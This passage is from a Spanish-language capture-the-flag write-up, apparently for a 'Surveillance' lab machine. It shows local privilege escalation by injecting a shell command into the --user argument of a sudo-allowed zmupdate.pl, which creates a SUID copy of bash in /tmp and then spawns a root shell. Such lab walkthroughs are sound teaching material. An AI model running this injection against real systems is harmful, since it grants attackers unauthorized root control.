Press 'y' for a backup or 'n' to continue : y
Creating backup to /tmp/zm/zm-1.dump. This may take several minutes.
mysqldump: Got error: 1698: "Access denied for user 'uid=0(root)'@'localhost'" when trying to connect
Output:
<SNIP>

de manera que el código en la flag --user está siendo interpretado.

Por ende, decido inyectar:

zoneminder@surveillance:/tmp$ sudo /usr/bin/zmupdate.pl --version 1 --user='$(cp /usr/bin/bash /tmp/gunzf0x ; chmod 4755 /tmp/gunzf0x)' -p='$(whoami)'

Initiating database upgrade to version 1.36.32 from version 1

WARNING - You have specified an upgrade from version 1 but the database version found is 1.36.32. Is this correct?
Press enter to continue or ctrl-C to abort :

Do you wish to take a backup of your database prior to upgrading?
This may result in a large file in /tmp/zm if you have a lot of events.
Press 'y' for a backup or 'n' to continue : y
Creating backup to /tmp/zm/zm-1.dump. This may take several minutes.
mysqldump: Got error: 1698: "Access denied for user '-p$(whoami)'@'localhost'" when trying to connect
Output:
Command 'mysqldump -u$(cp /usr/bin/bash /tmp/gunzf0x ; chmod 4755 /tmp/gunzf0x) -p'$(whoami)' -hlocalhost --add-drop-table --databases zm > /tmp/zm/zm-1.dump' exited with status: 2

De manera que, básicamente, creo una copia de /usr/bin/bash llamada /tmp/gunzf0x y, al archivo que es la copia, le asigno el permiso 4755.

Decido chequear el directorio /tmp y esto funcionó:

zoneminder@surveillance:/tmp$ ls -la /tmp
total 1468
drwxrwxrwt 14 root       root          4096 Apr 19 01:48 .
drwxr-xr-x 18 root       root          4096 Nov  9 13:19 ..
drwxrwxrwt  2 root       root          4096 Apr 18 21:49 .ICE-unix
drwxrwxrwt  2 root       root          4096 Apr 18 21:49 .Test-unix
drwxrwxrwt  2 root       root          4096 Apr 18 21:49 .X11-unix
drwxrwxrwt  2 root       root          4096 Apr 18 21:49 .XIM-unix
drwxrwxrwt  2 root       root          4096 Apr 18 21:49 .font-unix
-rwsr-xr-x  1 root       root       1396520 Apr 19 01:46 gunzf0x
<SNIP>

De manera que finalmente ejecuto el binario malicioso como el propietario y nos convertimos en root, simplemente corriendo /tmp/gunzf0x -p:

zoneminder@surveillance:/tmp$ /tmp/gunzf0x -p

gunzf0x-5.1# whoami
root

donde, finalmente, podemos leer la flag de root en el directorio /root.

~Happy Hacking